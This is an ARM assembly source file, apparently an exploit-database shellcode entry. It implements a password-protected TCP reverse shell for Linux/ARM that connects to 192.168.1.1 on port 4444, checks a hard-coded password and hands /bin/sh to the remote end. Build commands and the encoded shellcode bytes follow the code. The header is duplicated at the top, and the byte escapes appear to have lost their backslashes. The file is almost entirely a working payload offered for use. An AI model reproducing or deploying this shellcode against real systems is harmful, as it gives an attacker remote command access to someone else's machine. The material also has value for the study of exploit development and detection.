/*
* Title: Linux/ARM - Password Protected Reverse Shell TCP (/bin/sh). Null free shellcode (156 bytes)
* Date: 2018-01-15
* Tested: armv7l (Raspberry Pi v3)
 /*
* Title: Linux/ARM - Password Protected Reverse Shell TCP (/bin/sh). Null free shellcode (156 bytes)
* Date: 2018-01-15
* Tested: armv7l (Raspberry Pi v3)
* Author: rtmcx - twitter: @rtmcx
*/

.section .text

.global _start
_start:
/* Enter Thumb mode */
.ARM
add r6, pc, #1
bx r6


.THUMB

/* Create a new socket*/
/* socket(PF_INET, SOCK_STREAM, 0);
r0 = 2, r = 1, r2 = 0
r7 = 281 (SYSCALL for socket)
*/
mov r0, #2 // PF_INET = 2
mov r1, #1 // SOCK_STREAM = 1
eor r2, r2, r2 // Zero out r2
mov r7, #100 // Put 281 in r7..
add r7, #181 // ..in a 2-step operation
svc #1 // syscall returns sockid in r0

mov r4, r0 // Save sockid in r4


/* Connect to client */
/* connect(int sockid, const struct sockaddr *addr, int addrlen);
r0 = sockid, r1 = <struct address>, r2 = 16
r7 = 283 (SYSCALL for connect)
*/
adr r1, struct_addr // Address to struct_addr
strb r2, [r1, #1] // Replace AF_INET with NULL
mov r2, #16 // Address length
add r7, #2 // r7 already contains 281, so add 2 = 283
svc #1 // Client sockid will be returned in r0


/* Send message */
/* send(sockid, message, mess_len, 0);
r0 = sockid, r1 = message_address, r2 = messlen, r3 = 0
R7 = 289 (syscall for send)
*/
mov r0, r4 // Restore sockid to r0
adr r1, prompt // Load address to string "passwd" in r1
mov r2, #8 // 'passwd: ' is 8 bytes
eor r3, r3, r3 // Make r3 null
add r7, #6 // r7 has 283, add 6 to get 289
svc #1 // Execute syscall


/* Get the response (recv) */
/* ssize_t recv(int sockid, void *buf, size_t len, int flags);
r0 = sockid, r1 = buffer_space, r2 = length, r3 = null
r7 = 291 (recv)
*/
mov r0, r4 // Restore sockid to r0
adr r1, response // Load the address to store input in into r1
mov r2, #8 // Read 8 characters
eor r3, r3 ,r3 // Zero out r3
add r7, #2 // r7 has 289, add 2 to get 291
svc #1 // Execute syscall


/* Compare the received answer to the stored password */
adr r5, passwd // Store address to password in r5
mov r6, #9 // Use r6 as counter for number of bytes in password
// (9 to 1 to avoid null)
cmp_loop:
ldrb r2, [r5] // Put one byte from r5 in r2
ldrb r3, [r1] // Put one byte from r1 in r3

cmp r2, r3 // Compare the bytes
bne _exit // Not equal, exit

add r5, #1 // Next byte in password
add r1, #1 // Next byte in input
sub r6, #1 // Decrement counter

cmp r6, #1 // Are we at 1 yet?
bne cmp_loop // No, next byte


/* Duplicate STDIN, STDOUT and STERR */
/* dup2(client_sock_fd, STDIN/STDOUT/STDERR);
r0 = sockid, r1 = 0/1/2
r7 = 63 (syscall for dup2)
*/
mov r0, r4 // Saved sockid
eor r1, r1, r1 // Zero r1 for STDIN
mov r7, #63 // Syscall for dup2
svc #1 // Execute syscall

mov r0, r4 // Saved sockid
add r1, #1 // STDOUT (1)
svc #1 // Execute syscall

mov r0, r4 // Saved sockid
add r1, #1 // STDERR (2)
svc #1 // Execute syscall


/* Execute shell */
/* execve('/bin/sh', 0, 0);
r0 --> "/bin/sh", r1 = 0, r2 = 0
r7 = 11 (syscall for execve)
*/
adr r0, shellcode // Address to "/bin/sh"
eor r1, r1, r1 // Zero out r1
eor r2, r2, r2 // And r2
strb r2, [r0, #7] // Replace 'X' with NULL
mov r7, #11 // Syscall for execve
svc #1 // Execute syscall


/* Exit (if wrong password was provided) */
_exit:
mov r0, #1 // return 1
mov r7, #1 // syscall number for exit
svc #1 // execute syscall


/* */
struct_addr:
.ascii "x02xaa" // AF_INET 0xff will be NULLed
.ascii "x11x5c" // port 4444
.ascii "xc0xa8x01x01" // IP Address (192.168.1.1)

shellcode:
.ascii "/bin/shX"

prompt:
.ascii "passwd:x20" // prompt for password, with space

response:
.ascii "xxxxxxxx" // Place to store the response

passwd:
.ascii "MyPasswd" // The correct password


/*
Compile and link with:
# as -o shellcode.o shellcode.s
# ld -N shellcode.o -o shellcode

x01x60x8fxe2x16xffx2fxe1x02x20x01x21x52x40x64x27xb5x37x01xdfx04x1cx17xa1x4ax70
x10x22x02x37x01xdfx20x1cx18xa1x08x22x5bx40x06x37x01xdfx20x1cx17xa1x08x22x5bx40
x02x37x01xdfx16xa5x09x26x2ax78x0bx78x9ax42x14xd1x01x35x01x31x01x3ex01x2exf6xd1
x20x1cx49x40x3fx27x01xdfx20x1cx01x31x01xdfx20x1cx01x31x01xdfx06xa0x49x40x52x40
xc2x71x0bx27x01xdfx01x20x01x27x01xdfx02xaax11x5cxc0xa8x01x01x2fx62x69x6ex2fx73
x68x58x70x61x73x73x77x64x3ax20x78x78x78x78x78x78x78x78x4dx79x50x61x73x73x77x64
*/